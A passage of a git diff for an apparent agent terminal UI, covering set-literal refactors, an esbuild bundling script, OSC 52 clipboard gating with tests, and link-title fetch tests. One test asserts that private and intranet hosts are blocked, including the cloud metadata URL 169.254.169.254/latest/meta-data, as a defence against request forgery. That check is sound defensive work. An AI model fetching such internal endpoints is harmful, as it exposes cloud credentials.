def _(rid, params: dict) -> dict: if key == "busy": raw = str(value or "").strip().lower() - if raw in ("", "status"): + if raw in {"", "status"}: return _ok(rid, {"key": key, "value": _load_busy_input_mode()}) if raw not in {"queue", "steer", "interrupt"}: return _err(rid, 4002, f"unknown busy mode: {value}") @@ -3782,7 +3781,7 @@ def _(rid, params: dict) -> dict: from hermes_constants import parse_reasoning_effort arg = str(value or "").strip().lower() - if arg in ("show", "on"): + if arg in {"show", "on"}: cfg = _load_cfg() display = ( cfg.get("display") if isinstance(cfg.get("display"), dict) else {} @@ -3800,7 +3799,7 @@ def _(rid, params: dict) -> dict: if session: session["show_reasoning"] = True return _ok(rid, {"key": key, "value": "show"}) - if arg in ("hide", "off"): + if arg in {"hide", "off"}: cfg = _load_cfg() display = ( cfg.get("display") if isinstance(cfg.get("display"), dict) else {} @@ -3895,7 +3894,7 @@ def _(rid, params: dict) -> dict: cfg0 = _load_cfg() d0 = cfg0.get("display") if isinstance(cfg0.get("display"), dict) else {} cur_b = bool(d0.get("tui_compact", False)) - if raw in ("", "toggle"): + if raw in {"", "toggle"}: nv_b = not cur_b elif raw == "on": nv_b = True @@ -3912,7 +3911,7 @@ def _(rid, params: dict) -> dict: d0 = display if isinstance(display, dict) else {} current = _coerce_statusbar(d0.get("tui_statusbar", "top")) - if raw in ("", "toggle"): + if raw in {"", "toggle"}: nv = "top" if current == "off" else "off" elif raw == "on": nv = "top" @@ -3930,7 +3929,7 @@ def _(rid, params: dict) -> dict: display = cfg.get("display") if isinstance(cfg.get("display"), dict) else {} current = _display_mouse_tracking(display) - if raw in ("", "toggle"): + if raw in {"", "toggle"}: nv = not current elif raw == "on": nv = True @@ -3956,7 +3955,7 @@ def _(rid, params: dict) -> dict: _write_config_key("display.tui_status_indicator", raw) return _ok(rid, {"key": key, "value": raw}) - if key in ("prompt", "personality", "skin"): + if key in {"prompt", "personality", "skin"}: try: cfg = _load_cfg() if key == "prompt": @@ -4519,7 +4518,7 @@ def _(rid, params: dict) -> dict: # In the TUI the slash worker subprocess has no reader for that queue, # so we handle them here and return a structured payload. - if name in ("queue", "q"): + if name in {"queue", "q"}: if not arg: return _err(rid, 4004, "usage: /queue ") return _ok(rid, {"type": "send", "message": arg}) @@ -4618,7 +4617,7 @@ def _(rid, params: dict) -> dict: ), }, ) - if lower in ("clear", "stop", "done"): + if lower in {"clear", "stop", "done"}: had = mgr.has_goal() mgr.clear() return _ok( @@ -4649,7 +4648,7 @@ def _(rid, params: dict) -> dict: {"type": "send", "notice": notice, "message": state.goal}, ) - if name in ("snapshot", "snap"): + if name in {"snapshot", "snap"}: subcommand = arg.split(maxsplit=1)[0].lower() if arg else "" if subcommand in {"restore", "rewind"}: return _ok( @@ -4894,7 +4893,7 @@ def _(rid, params: dict) -> dict: # Accept both `@folder:path` and the bare `@folder` form so the user # sees directory listings as soon as they finish typing the keyword, # without first accepting the static `@folder:` hint. - if is_context and query in ("file", "folder"): + if is_context and query in {"file", "folder"}: prefix_tag, path_part = query, "" elif is_context and query.startswith(("file:", "folder:")): prefix_tag, _, tail = query.partition(":") @@ -5638,7 +5637,7 @@ def _(rid, params: dict) -> dict: return _ok(rid, payload) - if action in ("on", "off"): + if action in {"on", "off"}: enabled = action == "on" # Runtime-only flag (CLI parity) — no _write_config_key, so the # next TUI launch starts with voice OFF instead of auto-REC from a @@ -5871,7 +5870,7 @@ def go(mgr, cwd): removed = 0 with session["history_lock"]: history = session.get("history", []) - while history and history[-1].get("role") in ("assistant", "tool"): + while history and history[-1].get("role") in {"assistant", "tool"}: history.pop() removed += 1 if history and history[-1].get("role") == "user": @@ -6429,7 +6428,7 @@ def _(rid, params: dict) -> dict: ) ), ) - if action in ("remove", "pause", "resume"): + if action in {"remove", "pause", "resume"}: return _ok(rid, json.loads(cronjob(action=action, job_id=jid))) return _err(rid, 4016, f"unknown cron action: {action}") except Exception as e: diff --git a/ui-tui/README.md b/ui-tui/README.md index 17d57f08afe6..60ded94fd848 100644 --- a/ui-tui/README.md +++ b/ui-tui/README.md @@ -41,7 +41,7 @@ From the repo root, the normal path is: hermes --tui ``` -The CLI expects `ui-tui/node_modules` to exist. If the TUI deps are missing: +The CLI expects `ui-tui/dist/entry.js` to exist, or the whole source code available in which to run `npm install` and `npm run dev`. ```bash cd ui-tui diff --git a/ui-tui/package-lock.json b/ui-tui/package-lock.json index fd3af4540bac..bbbf95523996 100644 --- a/ui-tui/package-lock.json +++ b/ui-tui/package-lock.json @@ -26,6 +26,7 @@ "@typescript-eslint/eslint-plugin": "^8", "@typescript-eslint/parser": "^8", "babel-plugin-react-compiler": "^1.0.0", + "esbuild": "~0.27.0", "eslint": "^9", "eslint-plugin-perfectionist": "^5", "eslint-plugin-react": "^7", diff --git a/ui-tui/package.json b/ui-tui/package.json index 2bb1616a0a29..f28debb313ef 100644 --- a/ui-tui/package.json +++ b/ui-tui/package.json @@ -6,8 +6,7 @@ "scripts": { "dev": "npm run build --prefix packages/hermes-ink && tsx --watch src/entry.tsx", "start": "tsx src/entry.tsx", - "build": "npm run build --prefix packages/hermes-ink && tsc -p tsconfig.build.json && npm run build:compile && chmod +x dist/entry.js", - "build:compile": "babel dist --out-dir dist --config-file ./babel.compiler.config.cjs --extensions .js --keep-file-extension", + "build": "node scripts/build.mjs", "type-check": "tsc --noEmit -p tsconfig.json", "lint": "eslint src/ packages/", "lint:fix": "eslint src/ packages/ --fix", @@ -35,6 +34,7 @@ "@typescript-eslint/eslint-plugin": "^8", "@typescript-eslint/parser": "^8", "babel-plugin-react-compiler": "^1.0.0", + "esbuild": "~0.27.0", "eslint": "^9", "eslint-plugin-perfectionist": "^5", "eslint-plugin-react": "^7", diff --git a/ui-tui/packages/hermes-ink/src/ink/termio/osc.test.ts b/ui-tui/packages/hermes-ink/src/ink/termio/osc.test.ts index 4c54f8d18a67..b3d737097839 100644 --- a/ui-tui/packages/hermes-ink/src/ink/termio/osc.test.ts +++ b/ui-tui/packages/hermes-ink/src/ink/termio/osc.test.ts @@ -1,6 +1,8 @@ import { describe, expect, it } from 'vitest' -import { shouldEmitClipboardSequence } from './osc.js' +import { env, supportsOsc52Clipboard } from '../../utils/env.js' + +import { shouldEmitClipboardSequence, shouldUseNativeClipboard } from './osc.js' describe('shouldEmitClipboardSequence', () => { it('suppresses local multiplexer clipboard OSC by default', () => { @@ -49,3 +51,141 @@ describe('shouldEmitClipboardSequence', () => { ).toBe(false) }) }) + +describe('supportsOsc52Clipboard', () => { + // Terminals known to correctly implement OSC 52. On these, setClipboard() + // skips the native-tool safety net (wl-copy/xclip/pbcopy) to avoid racing + // the terminal's own clipboard write. Values must match what + // detectTerminal() in utils/env.ts returns — TERM=xterm-ghostty normalises + // to 'ghostty', TERM_PROGRAM=WezTerm stays 'WezTerm', etc. + it.each(['ghostty', 'kitty', 'WezTerm', 'windows-terminal', 'vscode'])( + 'returns true for allowlisted terminal %s', + terminal => { + expect(supportsOsc52Clipboard(terminal)).toBe(true) + } + ) + + // Intentionally conservative — iTerm2 disables OSC 52 by default; Alacritty + // and GNOME Terminal detection is unreliable; xterm/Terminal.app lack + // reliable OSC 52. These keep the existing native-safety-net behaviour. + it.each(['iTerm.app', 'alacritty', 'Apple_Terminal', 'xterm', 'tmux', 'screen', 'cursor', 'WarpTerminal', ''])( + 'returns false for non-allowlisted terminal %s', + terminal => { + expect(supportsOsc52Clipboard(terminal)).toBe(false) + } + ) + + it('returns false when terminal is null (detection failed)', () => { + expect(supportsOsc52Clipboard(null)).toBe(false) + }) + + it('defaults to the module-level detected terminal when no argument is passed', () => { + // With no argument, uses env.terminal detected at module load. We don't + // know what that is in CI, but the call must return a boolean (not throw) + // and the result must match calling with env.terminal explicitly. + expect(typeof supportsOsc52Clipboard()).toBe('boolean') + expect(supportsOsc52Clipboard()).toBe(supportsOsc52Clipboard(env.terminal)) + }) +}) + +// shouldUseNativeClipboard() encodes the gating logic that setClipboard() +// uses to decide whether to fire copyNative(). Testing it directly (rather +// than mocking copyNative inside setClipboard) matches the package's +// existing style — tests pass env/terminal as arguments instead of using +// vi.mock — and gives broader coverage of the env x terminal matrix. +describe('shouldUseNativeClipboard', () => { + it('returns false over SSH (native would write to remote clipboard)', () => { + // Over SSH the user's terminal is on the local end of the pty; + // pbcopy/wl-copy/xclip on the remote machine would write to the wrong + // clipboard. OSC 52 is the right path. Existing behaviour, preserved. + expect(shouldUseNativeClipboard({ SSH_CONNECTION: '1' } as NodeJS.ProcessEnv, 'xterm')).toBe(false) + expect(shouldUseNativeClipboard({ SSH_CONNECTION: '1' } as NodeJS.ProcessEnv, 'ghostty')).toBe(false) + expect(shouldUseNativeClipboard({ SSH_CONNECTION: '1' } as NodeJS.ProcessEnv, null)).toBe(false) + }) + + it('returns true on plain local terminals (existing behaviour)', () => { + // Non-allowlisted terminals — xterm, GNOME Terminal, Apple_Terminal, + // alacritty (detection unreliable), iTerm2 (OSC 52 off by default). + // These keep the native safety net firing. This is the bulk of the + // existing user base; behaviour must not regress. + expect(shouldUseNativeClipboard({} as NodeJS.ProcessEnv, 'xterm')).toBe(true) + expect(shouldUseNativeClipboard({} as NodeJS.ProcessEnv, 'iTerm.app')).toBe(true) + expect(shouldUseNativeClipboard({} as NodeJS.ProcessEnv, 'Apple_Terminal')).toBe(true) + expect(shouldUseNativeClipboard({} as NodeJS.ProcessEnv, 'alacritty')).toBe(true) + expect(shouldUseNativeClipboard({} as NodeJS.ProcessEnv, null)).toBe(true) + }) + + it('returns false on allowlisted local terminals (the race-fix case)', () => { + // Ghostty / kitty / WezTerm / Windows Terminal / VS Code — OSC 52 + // alone is reliable, native fallback racing it can corrupt the + // clipboard (the wl-copy on Wayland symptom this PR fixes). + expect(shouldUseNativeClipboard({} as NodeJS.ProcessEnv, 'ghostty')).toBe(false) + expect(shouldUseNativeClipboard({} as NodeJS.ProcessEnv, 'kitty')).toBe(false) + expect(shouldUseNativeClipboard({} as NodeJS.ProcessEnv, 'WezTerm')).toBe(false) + expect(shouldUseNativeClipboard({} as NodeJS.ProcessEnv, 'windows-terminal')).toBe(false) + expect(shouldUseNativeClipboard({} as NodeJS.ProcessEnv, 'vscode')).toBe(false) + }) + + it('returns true inside tmux even on allowlisted outer terminal', () => { + // detectTerminal() prefers TERM_PROGRAM over TMUX, so a tmux session + // inside Ghostty reports terminal='ghostty'. But setClipboard() goes + // through tmux load-buffer there, not raw OSC 52 — the wl-copy race + // doesn't apply. Native is still useful since tmux's outer-terminal + // forwarding depends on `set -g set-clipboard` + `allow-passthrough`. + expect(shouldUseNativeClipboard({ TMUX: '/tmp/t,1,0' } as NodeJS.ProcessEnv, 'ghostty')).toBe(true) + expect(shouldUseNativeClipboard({ TMUX: '/tmp/t,1,0' } as NodeJS.ProcessEnv, 'kitty')).toBe(true) + expect(shouldUseNativeClipboard({ TMUX: '/tmp/t,1,0' } as NodeJS.ProcessEnv, 'WezTerm')).toBe(true) + expect(shouldUseNativeClipboard({ TMUX: '/tmp/t,1,0' } as NodeJS.ProcessEnv, 'vscode')).toBe(true) + }) + + it('returns true inside GNU screen even on allowlisted outer terminal', () => { + // Same reasoning as TMUX — STY indicates we're inside screen, which + // has its own escape-sequence handling and we don't emit raw OSC 52. + expect(shouldUseNativeClipboard({ STY: '1234.pts-0.host' } as NodeJS.ProcessEnv, 'ghostty')).toBe(true) + expect(shouldUseNativeClipboard({ STY: '1234.pts-0.host' } as NodeJS.ProcessEnv, 'kitty')).toBe(true) + }) + + it('returns true when OSC 52 emission is disabled via HERMES_TUI_FORCE_OSC52=0', () => { + // If we suppress OSC 52 (user override) AND skip native, the clipboard + // write becomes a no-op. So when OSC 52 is off, native is the only + // remaining path — keep it on regardless of terminal allowlist. + expect(shouldUseNativeClipboard({ HERMES_TUI_FORCE_OSC52: '0' } as NodeJS.ProcessEnv, 'ghostty')).toBe(true) + expect(shouldUseNativeClipboard({ HERMES_TUI_FORCE_OSC52: '0' } as NodeJS.ProcessEnv, 'kitty')).toBe(true) + expect(shouldUseNativeClipboard({ HERMES_TUI_CLIPBOARD_OSC52: '0' } as NodeJS.ProcessEnv, 'WezTerm')).toBe(true) + expect(shouldUseNativeClipboard({ HERMES_TUI_COPY_OSC52: 'no' } as NodeJS.ProcessEnv, 'vscode')).toBe(true) + }) + + it('returns true under TMUX even with HERMES_TUI_FORCE_OSC52=1 on an allowlisted terminal (tmux load-buffer path)', () => { + // FORCE_OSC52=1 is the user explicitly opting INTO OSC 52 (e.g. they + // have tmux set up for passthrough). On an allowlisted terminal the + // race-avoidance still applies. + expect( + shouldUseNativeClipboard({ HERMES_TUI_FORCE_OSC52: '1', TMUX: '/tmp/t,1,0' } as NodeJS.ProcessEnv, 'ghostty') + // TMUX guard wins — native still fires because we're going through + // tmux load-buffer, not raw OSC 52 to the terminal. + ).toBe(true) + }) + + it('SSH_CONNECTION takes precedence over allowlisted terminal', () => { + // Even on Ghostty, if we're SSH'd in we shouldn't run pbcopy on the + // remote machine — the user's clipboard is on the other end. + expect(shouldUseNativeClipboard({ SSH_CONNECTION: '1' } as NodeJS.ProcessEnv, 'ghostty')).toBe(false) + }) + + it('SSH_CONNECTION takes precedence over TMUX', () => { + // Combined: SSH'd in and inside tmux on the remote. SSH_CONNECTION + // gate fires first, native stays off (we use OSC 52 to reach the + // local terminal). + expect(shouldUseNativeClipboard({ SSH_CONNECTION: '1', TMUX: '/tmp/t,1,0' } as NodeJS.ProcessEnv, 'xterm')).toBe( + false + ) + }) + + it('defaults env to process.env and terminal to the module-detected terminal when no args passed', () => { + // Smoke test: no args is a valid call shape for the convenience seam. + // shouldUseNativeClipboard() defaults `terminal` to envModule.terminal + // (the module-level detected terminal), not null. Returns a boolean + // without throwing. + expect(typeof shouldUseNativeClipboard()).toBe('boolean') + }) +}) diff --git a/ui-tui/packages/hermes-ink/src/ink/termio/osc.ts b/ui-tui/packages/hermes-ink/src/ink/termio/osc.ts index 99dce2df346e..3f680b6dec20 100644 --- a/ui-tui/packages/hermes-ink/src/ink/termio/osc.ts +++ b/ui-tui/packages/hermes-ink/src/ink/termio/osc.ts @@ -4,7 +4,7 @@ import { Buffer } from 'buffer' -import { env } from '../../utils/env.js' +import { env as envModule, supportsOsc52Clipboard } from '../../utils/env.js' import { execFileNoThrow } from '../../utils/execFileNoThrow.js' import { BEL, ESC, ESC_TYPE, SEP } from './ansi.js' @@ -20,7 +20,7 @@ export const ST = ESC + '\\' /** Generate an OSC sequence: ESC ] p1;p2;...;pN * Uses ST terminator for Kitty (avoids beeps), BEL for others */ export function osc(...parts: (string | number)[]): string { - const terminator = env.terminal === 'kitty' ? ST : BEL + const terminator = envModule.terminal === 'kitty' ? ST : BEL return `${OSC_PREFIX}${parts.join(SEP)}${terminator}` } @@ -102,6 +102,77 @@ export function shouldEmitClipboardSequence(env: NodeJS.ProcessEnv = process.env return !!env['SSH_CONNECTION'] || (!env['TMUX'] && !env['STY']) } +/** + * Decide whether setClipboard() should also fire the native clipboard tool + * (pbcopy / wl-copy / xclip / xsel / clip.exe) as a safety net alongside + * OSC 52 / tmux load-buffer. + * + * The default is "yes, native fires" — it's the historical safety net for + * terminals where OSC 52 may not work (iTerm2 disables OSC 52 by default, + * Apple_Terminal / GNOME Terminal / xterm coverage is patchy). The two + * cases where we suppress it: + * + * 1. SSH session: native tools would write to the *remote* machine's + * clipboard. OSC 52 (which travels back over the pty to the user's + * local terminal) is the right path. Existing behaviour. + * + * 2. Allowlisted OSC-52-capable terminal AND we're actually going to + * emit an OSC 52 sequence AND we're not inside tmux/screen. On these + * terminals (Ghostty / kitty / WezTerm / Windows Terminal / VS Code) + * the OSC 52 write is reliable on its own, and racing it with a + * native tool is destructive — wl-copy on Wayland in particular + * wipes the clipboard during its existence-probe and forks a daemon + * that races the terminal's own write (~30% empty-clipboard rate + * reported on Ghostty + Wayland; symptom: ctrl+shift+c works on the + * 3rd attempt). + * + * The TMUX/STY guard is important: detectTerminal() in utils/env.ts + * prefers TERM_PROGRAM over TMUX, so a tmux session inside Ghostty + * reports terminal='ghostty'. But inside tmux setClipboard() doesn't + * emit raw OSC 52 — it goes through tmux load-buffer (which loads + * the tmux paste buffer and, with -w, asks tmux to forward an OSC 52 + * to the OUTER terminal via its own emission path). The native + * safety net is still useful there because tmux load-buffer's + * outer-terminal forwarding depends on `set -g set-clipboard` and + * `allow-passthrough`, which many users don't have configured. + * + * The OSC-52-will-emit guard matters too: if the user has set + * HERMES_TUI_FORCE_OSC52=0, no OSC 52 sequence will be written. If + * we ALSO skip native, the clipboard write becomes a no-op. So skip + * native only when OSC 52 will actually carry the data. + */ +export function shouldUseNativeClipboard( + env: NodeJS.ProcessEnv = process.env, + terminal: string | null = envModule.terminal +): boolean { + // Over SSH the native tools would write to the wrong machine's clipboard. + if (env.SSH_CONNECTION) { + return false + } + + // Inside tmux/screen, OSC 52 is normally suppressed and we rely on + // tmux load-buffer instead — so the wl-copy/OSC-52 race usually doesn't + // apply. Even when HERMES_TUI_FORCE_OSC52=1 forces a tmux-passthrough + // OSC 52 emission, we keep native enabled as a safety net: tmux's + // outer-terminal forwarding depends on `allow-passthrough` in the + // user's tmux config, so a forced OSC 52 may silently never reach the + // host terminal. Native (pbcopy/wl-copy/xclip) covers that gap. + if (env.TMUX || env.STY) { + return true + } + + // If OSC 52 won't actually emit (user override or env state), the + // native tool is the only path left — keep it on. + if (!shouldEmitClipboardSequence(env)) { + return true + } + + // OSC 52 is going to emit AND the terminal is in the allowlist of + // terminals where OSC 52 alone is reliable: skip native to avoid the + // wl-copy race documented above. + return !supportsOsc52Clipboard(terminal) +} + /** * Wrap a payload in tmux's DCS passthrough: ESC P tmux ; ESC \ * tmux forwards the payload to the outer terminal, bypassing its own parser. @@ -193,11 +264,27 @@ export async function setClipboard(text: string): Promise { // AFTER awaiting tmux load-buffer, adding ~50-100ms of subprocess latency // before pbcopy even started — fast cmd+tab → paste would beat it // (https://anthropic.slack.com/archives/C07VBSHV7EV/p1773943921788829). - // Gated on SSH_CONNECTION (not SSH_TTY) since tmux panes inherit SSH_TTY - // forever but SSH_CONNECTION is in tmux's default update-environment and - // clears on local attach. Fire-and-forget, but `copyNativeAttempted` - // tells us whether ANY native path will be tried on this platform. - const nativeAttempted = !process.env['SSH_CONNECTION'] && copyNative(text) + // Skipped entirely on terminals with first-class OSC 52 support (see + // `shouldUseNativeClipboard()` above): running wl-copy/xclip/pbcopy in + // parallel with OSC 52 on those terminals can corrupt the clipboard. + // wl-copy on Wayland is the worst offender — `probeLinuxCopy()` runs it + // with empty stdin to check if the binary exists (which destructively + // wipes the clipboard), and the subsequent real invocation forks a + // background daemon that races the terminal's own OSC 52 write plus its + // own prior daemon's SIGTERM. On Ghostty + Wayland this produced a ~30% + // clipboard-empty rate (symptom: user had to press ctrl+shift+c three + // times before the selection landed). Native still fires inside + // tmux/screen — we primarily rely on tmux load-buffer there rather + // than raw OSC 52, so the wl-copy race usually doesn't apply, and + // native is kept as a safety net because tmux passthrough forwarding + // depends on the user's `allow-passthrough` config (note: when + // HERMES_TUI_FORCE_OSC52=1 we DO additionally emit a tmux-passthrough + // OSC 52, but it can be silently dropped without that setting). + // Native also fires when the user has disabled OSC 52 emission via + // HERMES_TUI_FORCE_OSC52=0 (otherwise the clipboard write becomes a + // complete no-op). Fire-and-forget, but `nativeAttempted` tells us + // whether ANY native path will be tried. + const nativeAttempted = shouldUseNativeClipboard(process.env, envModule.terminal) && copyNative(text) const tmuxBufferLoaded = await tmuxLoadBuffer(text) diff --git a/ui-tui/packages/hermes-ink/src/utils/env.ts b/ui-tui/packages/hermes-ink/src/utils/env.ts index 7393f1baa76d..f66ad2cf8b03 100644 --- a/ui-tui/packages/hermes-ink/src/utils/env.ts +++ b/ui-tui/packages/hermes-ink/src/utils/env.ts @@ -39,3 +39,28 @@ function detectTerminal(): TerminalName { export const env = { terminal: detectTerminal() } + +// Terminals known to correctly implement OSC 52 clipboard writes +// (ESC ] 52 ; c ; BEL/ST — osc() in ink/termio/osc.ts emits BEL +// for most terminals and ST for kitty). When detected, setClipboard() skips the +// native-tool safety net entirely — running wl-copy/xclip/pbcopy in +// parallel with OSC 52 races the terminal's own clipboard write and can +// corrupt it (e.g. wl-copy on Wayland holds the selection in a background +// daemon; stacking two writes within ~30ms triggers a SIGTERM race). +// Intentionally conservative: terminals with known flaky or disabled-by- +// default OSC 52 (iTerm2 disables OSC 52 by default; Alacritty detection +// is unreliable) are not on this list. Users on those terminals keep the +// existing behaviour (native safety net fires alongside OSC 52). +// +// Lives here in utils/env.ts (rather than ink/terminal.ts) so that +// ink/termio/osc.ts can import it without creating a circular dependency: +// ink/terminal.ts already imports `link` from ink/termio/osc.ts. +const OSC52_CAPABLE_TERMINALS = ['ghostty', 'kitty', 'WezTerm', 'windows-terminal', 'vscode'] + +/** True if this terminal is known to correctly handle OSC 52 clipboard + * writes, so setClipboard() can skip the native-tool safety net. + * Accepts an optional terminal name for testability; defaults to the + * module-level `env.terminal` detected at startup. */ +export function supportsOsc52Clipboard(terminal: string | null = env.terminal): boolean { + return OSC52_CAPABLE_TERMINALS.includes(terminal ?? '') +} diff --git a/ui-tui/scripts/build.mjs b/ui-tui/scripts/build.mjs new file mode 100644 index 000000000000..2c7b55f76fc1 --- /dev/null +++ b/ui-tui/scripts/build.mjs @@ -0,0 +1,61 @@ +#!/usr/bin/env node +// Bundles src/entry.tsx into a single self-contained dist/entry.js. +// No runtime node_modules needed. +import { build } from 'esbuild' +import { readFileSync, writeFileSync } from 'node:fs' +import { fileURLToPath } from 'node:url' +import { dirname, resolve } from 'node:path' + +const here = dirname(fileURLToPath(import.meta.url)) +const root = resolve(here, '..') +const out = resolve(root, 'dist/entry.js') + +// `react-devtools-core` is only imported when DEV=true at runtime (Ink dev +// mode). Stub it out so the bundle doesn't carry the dep. +const stubDevtools = { + name: 'stub-react-devtools-core', + setup(b) { + b.onResolve({ filter: /^react-devtools-core$/ }, args => ({ + path: args.path, + namespace: 'stub-devtools' + })) + b.onLoad({ filter: /.*/, namespace: 'stub-devtools' }, () => ({ + contents: 'export default { initialize() {}, connectToDevTools() {} }', + loader: 'js' + })) + } +} + +await build({ + entryPoints: [resolve(root, 'src/entry.tsx')], + bundle: true, + platform: 'node', + format: 'esm', + target: 'node20', + outfile: out, + jsx: 'automatic', + jsxImportSource: 'react', + // Skip the prebuilt @hermes/ink bundle — esbuild's __esm helper doesn't + // await nested async init, which breaks lazy-initialized exports like + // `render`. Bundling from source sidesteps that. + alias: { '@hermes/ink': resolve(root, 'packages/hermes-ink/src/entry-exports.ts') }, + plugins: [stubDevtools], + // Some transitive deps use CommonJS `require(...)` at runtime. ESM bundles + // don't get a `require` binding automatically, so we inject one. + banner: { + js: "import { createRequire as __cr } from 'node:module'; const require = __cr(import.meta.url);" + }, + logLevel: 'info' +}) + +// esbuild preserves the shebang from src/entry.tsx into the bundle, but Nix's +// patchShebangs phase mangles `/usr/bin/env -S node --foo --bar` (it strips +// the `node` token, leaving a broken interpreter). The hermes_cli launcher +// always invokes this file as `node dist/entry.js` anyway, so the shebang is +// redundant — strip it. +const body = readFileSync(out, 'utf8') +if (body.startsWith('#!')) { + writeFileSync(out, body.slice(body.indexOf('\n') + 1)) +} + +console.log(`built ${out}`) diff --git a/ui-tui/src/__tests__/externalLink.test.ts b/ui-tui/src/__tests__/externalLink.test.ts new file mode 100644 index 000000000000..31be5e83af32 --- /dev/null +++ b/ui-tui/src/__tests__/externalLink.test.ts @@ -0,0 +1,138 @@ +import { afterEach, describe, expect, it, vi } from 'vitest' + +import { + __resetLinkTitleCache, + fetchLinkTitle, + hostPathLabel, + isTitleFetchable, + normalizeExternalUrl, + urlSlugTitleLabel +} from '../lib/externalLink.js' + +afterEach(() => { + __resetLinkTitleCache() + vi.restoreAllMocks() + vi.unstubAllGlobals() +}) + +describe('external link helpers', () => { + it('formats URL fallbacks as host + path', () => { + expect( + hostPathLabel( + 'https://www.getyourguide.com/culebra-island-l145468/from-fajardo-full-day-cordillera-islands-catamaran-tour-t19894/' + ) + ).toBe('getyourguide.com/culebra-island-l145468/from-fajardo-full-day-cordillera-islands-catamaran-tour-t19894') + }) + + it('derives readable title fallbacks from URL slugs', () => { + expect( + urlSlugTitleLabel('https://www.getyourguide.com/fajardo-l882/from-fajardo-icacos-island-full-day-catamaran-trip-t19891/') + ).toBe('From Fajardo Icacos Island Full Day Catamaran Trip') + }) + + it('normalizes scheme-less links', () => { + expect(normalizeExternalUrl(' expedia.com/things-to-do/puerto-rico-el-yunque ')).toBe( + 'https://expedia.com/things-to-do/puerto-rico-el-yunque' + ) + }) + + it('filters out local/non-http targets for title fetches', () => { + expect(isTitleFetchable('https://www.expedia.com/things-to-do/foo')).toBe(true) + expect(isTitleFetchable('http://localhost:5174')).toBe(false) + expect(isTitleFetchable('file:///tmp/demo.html')).toBe(false) + expect(isTitleFetchable('mailto:hello@example.com')).toBe(false) + }) + + it('blocks private, link-local, and intranet hosts', () => { + expect(isTitleFetchable('http://10.0.0.12/path')).toBe(false) + expect(isTitleFetchable('http://172.22.5.4/path')).toBe(false) + expect(isTitleFetchable('http://192.168.1.22/path')).toBe(false) + expect(isTitleFetchable('http://169.254.169.254/latest/meta-data')).toBe(false) + expect(isTitleFetchable('http://[fd00::1]/')).toBe(false) + expect(isTitleFetchable('http://[fe80::1]/')).toBe(false) + expect(isTitleFetchable('http://printer.local/status')).toBe(false) + expect(isTitleFetchable('http://intranet/status')).toBe(false) + expect(isTitleFetchable('https://8.8.8.8/status')).toBe(true) + }) + + it('deduplicates in-flight title fetches and caches results', async () => { + const fetchMock = vi.fn().mockResolvedValue( + new Response('El Yunque Tour Water Slide, Rope Swing & Pickup', { + headers: { 'content-type': 'text/html; charset=utf-8' }, + status: 200 + }) + ) + + vi.stubGlobal('fetch', fetchMock) + + const url = 'https://www.expedia.com/things-to-do/puerto-rico-el-yunque-rainforest-adventure.a46272756.activity-details' + const [first, second] = await Promise.all([fetchLinkTitle(url), fetchLinkTitle(url)]) + + expect(first).toBe('El Yunque Tour Water Slide, Rope Swing & Pickup') + expect(second).toBe('El Yunque Tour Water Slide, Rope Swing & Pickup') + expect(fetchMock).toHaveBeenCalledTimes(1) + + const third = await fetchLinkTitle(url) + + expect(third).toBe('El Yunque Tour Water Slide, Rope Swing & Pickup') + expect(fetchMock).toHaveBeenCalledTimes(1) + }) + + it('shares cache across protocol/www URL variants', async () => { + const fetchMock = vi.fn().mockResolvedValue( + new Response('Shared Canonical Title', { + headers: { 'content-type': 'text/html' }, + status: 200 + }) + ) + + vi.stubGlobal('fetch', fetchMock) + + const first = 'https://www.getyourguide.com/san-juan-puerto-rico-l355/sunset-tours-tc306/' + const second = 'http://getyourguide.com/san-juan-puerto-rico-l355/sunset-tours-tc306/' + + const [a, b] = await Promise.all([fetchLinkTitle(first), fetchLinkTitle(second)]) + + expect(a).toBe('Shared Canonical Title') + expect(b).toBe('Shared Canonical Title') + expect(fetchMock).toHaveBeenCalledTimes(1) + }) + + it('ignores error-like fetched titles', async () => { + const fetchMock = vi.fn().mockResolvedValue( + new Response('Just a moment...', { + headers: { 'content-type': 'text/html' }, + status: 200 + }) + ) + + vi.stubGlobal('fetch', fetchMock) + + const url = 'https://www.getyourguide.com/culebra-island-l145468/from-fajardo-full-day-cordillera-islands-catamaran-tour-t19894/' + + await expect(fetchLinkTitle(url)).resolves.toBe('') + }) + + it('decodes HTML entities in fetched titles', async () => { + const fetchMock = vi.fn().mockResolvedValue( + new Response('AT&T 'Deals'', { + headers: { 'content-type': 'text/html' }, + status: 200 + }) + ) + + vi.stubGlobal('fetch', fetchMock) + + await expect(fetchLinkTitle('https://example.com/offers')).resolves.toBe("AT&T 'Deals'") + }) + + it('skips network fetch for non-fetchable targets', async () => { + const fetchMock = vi.fn() + vi.stubGlobal('fetch', fetchMock) + + await expect(fetchLinkTitle('http://localhost:3000/path')).resolves.toBe('') + await expect(fetchLinkTitle('mailto:hello@example.com')).resolves.toBe('') + await expect(fetchLinkTitle('file:///tmp/demo.html')).resolves.toBe('') + expect(fetchMock).not.toHaveBeenCalled() + }) +}) diff --git a/ui-tui/src/__tests__/markdown.test.ts b/ui-tui/src/__tests__/markdown.test.ts index 30706f6b09d6..b2fab9232711 100644 --- a/ui-tui/src/__tests__/markdown.test.ts +++ b/ui-tui/src/__tests__/markdown.test.ts @@ -217,3 +217,86 @@ describe('Md wrapping', () => { expect(lines.some(line => line.startsWith(' hi ok'))).toBe(true) }) }) + +describe('Md link labels', () => { + it('renders bare URLs with readable slug labels', () => { + const lines = renderPlain( + React.createElement( + Box, + { width: 120 }, + React.createElement(Md, { + t: DEFAULT_THEME, + text: 'see https://www.expedia.com/things-to-do/puerto-rico-el-yunque-rainforest-adventure for details' + }) + ) + ) + + const rendered = lines.join('\n') + + expect(rendered).toContain('Puerto Rico El Yunque Rainforest Adventure') + expect(rendered).not.toContain('https://www.expedia.com/things-to-do/puerto-rico-el-yunque-rainforest-adventure') + }) + + it('keeps explicit markdown labels as the immediate fallback', () => { + const lines = renderPlain( + React.createElement( + Box, + { width: 80 }, + React.createElement(Md, { + t: DEFAULT_THEME, + text: '[Trip details](https://www.expedia.com/things-to-do/puerto-rico-el-yunque-rainforest-adventure)' + }) + ) + ) + + expect(lines.join('\n')).toContain('Trip details') + }) +}) + +describe('renderTable CJK width alignment', () => { + it('column starts share the same display offset across CJK rows', async () => { + const { stringWidth } = await import('@hermes/ink') + + const md = [ + '| 配置 | Config | 状态 |', + '|------|--------|------|', + '| Vicuna (report) | dense | × |', + '| ChatGLM | chat | ✓ |', + '| 通义千问 | qwen | × |' + ].join('\n') + + // Pre-fix bug: ` `.repeat(w - stripInlineMarkup(...).length) used + // UTF-16 code units, so 